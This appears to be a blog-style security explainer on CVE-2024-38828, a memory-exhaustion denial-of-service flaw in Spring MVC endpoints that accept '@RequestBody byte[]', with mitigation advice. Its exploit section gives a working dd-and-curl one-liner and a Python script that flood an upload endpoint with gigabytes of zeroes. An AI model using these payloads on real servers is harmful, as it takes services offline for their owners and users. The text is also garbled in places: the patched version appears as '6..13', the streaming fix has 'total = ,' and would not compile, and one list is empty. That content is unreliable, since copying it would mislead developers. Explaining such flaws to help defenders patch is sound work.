In June 2024, a vulnerability tracked as CVE-2024-38828 was discovered in Spring Framework, one of Java’s most widely-used libraries for building web applications. This vulnerability allows for a Denial-of-Service (DoS) attack if a Spring MVC controller method uses an @RequestBody byte[] parameter.
In this article, I’ll explain how the vulnerability works, give you code examples, and share ways to fix or avoid it. You’ll also find links to official references and a description of how attackers might abuse this bug in the real world.
What’s the Problem with @RequestBody byte[]?
Spring MVC makes it easy to accept data posted to your application. A common way to receive binary data (like images, files, or raw bytes) is to use a controller method like this:
@PostMapping("/upload")
public ResponseEntity<String> upload(@RequestBody byte[] data) {
// Handle the uploaded bytes...
return ResponseEntity.ok("Upload successful");
}
Here’s the problem: there is no size limit by default. If an attacker sends a POST request with a massive body (think gigabytes or even terabytes), your application will try to read it all into a byte array. This can quickly:
Why Is This Dangerous?
While many applications do not expect untrusted users to send huge data, attackers can abuse any endpoint that accepts @RequestBody byte[]. They can easily script requests to send huge payloads, instantly making the server unresponsive.
The CVE entry:
https://nvd.nist.gov/vuln/detail/CVE-2024-38828
Spring Security Advisory:
https://spring.io/security/cve-2024-38828
Patch commit:
https://github.com/spring-projects/spring-framework/pull/31225
Exploit Details (How an Attacker Would Abuse This Vulnerability)
The exploit is frighteningly simple: just send a massive HTTP POST request to any vulnerable endpoint.
Example cURL Command
Suppose your service is https://victim.com/upload.
A simple upload from a shell, sending a 10GB file of zeroes
dd if=/dev/zero bs=1M count=10240 | \
curl -X POST https://victim.com/upload -H "Content-Type: application/octet-stream" --data-binary @-
- dd if=/dev/zero bs=1M count=10240 creates 10GB of zeroes
Spring will try to read all 10GB into RAM in a single operation
If your server only has 8GB of RAM, it will run out of memory, potentially crashing the JVM and making your web app go offline.
An attacker writes a Python script
import requests
big_data = b'\x00' * (1024 * 1024 * 1024 * 4) # 4 GB of zeroes
resp = requests.post('https://victim.com/upload', data=big_data, headers={'Content-Type': 'application/octet-stream'})
If the server tries to read all of big_data, memory can be exhausted.
Who’s Affected?
- Anyone using Spring Framework (including Spring Boot) with a controller that has an @RequestBody byte[] or @RequestBody Byte[] parameter
How to Fix (Mitigation)
Spring has patched this problem starting with Spring Framework 6..13 and 5.3.31.
1. Update Spring
First and best: update your Spring dependencies to the latest safe version.
<!-- In your pom.xml for Spring Boot or Spring MVC -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>6..13</version> <!-- or newer -->
</dependency>
If you can’t upgrade, validate content length manually
@PostMapping("/upload")
public ResponseEntity<String> upload(
@RequestHeader("Content-Length") long contentLength,
@RequestBody byte[] data
) {
if (contentLength > 5_000_000) { // 5MB limit
return ResponseEntity.status(413).body("File too large!");
}
// ...
}
> ⚠️ Note: Attackers may fake or omit Content-Length. This check only helps in some cases!
If you use NGINX, you can set
client_max_body_size 10M;
In Apache, use
LimitRequestBody 10485760
These settings reject large requests before they reach Spring.
Safer Alternatives in Code
Instead of reading the whole payload into a byte[], you can use a InputStream or Resource, then process it in chunks—limiting memory usage.
@PostMapping("/stream-upload")
public ResponseEntity<String> upload(@RequestBody InputStream in) throws IOException {
byte[] buffer = new byte[4096];
int read, total = , max = 5_000_000; // 5 MB max
while ((read = in.read(buffer)) != -1) {
total += read;
if (total > max) {
return ResponseEntity.status(413).body("File too large!");
}
// process bytes...
}
return ResponseEntity.ok("Upload successful");
}
Conclusion
CVE-2024-38828 is a serious (but easy to overlook) flaw for web services built with Spring MVC. If you see @RequestBody byte[] in your code, review it now!
Avoid reading untrusted payloads into memory in one gulp.
Stay safe out there—and keep those dependencies up to date!
Further Reading
- Spring’s advisory on CVE-2024-38828
- Understanding Denial of Service (DoS) Attacks
- Making File Uploads Safer in Spring Boot
Timeline
Published on: 11/18/2024 04:15:04 UTC
Last modified on: 11/18/2024 17:11:17 UTC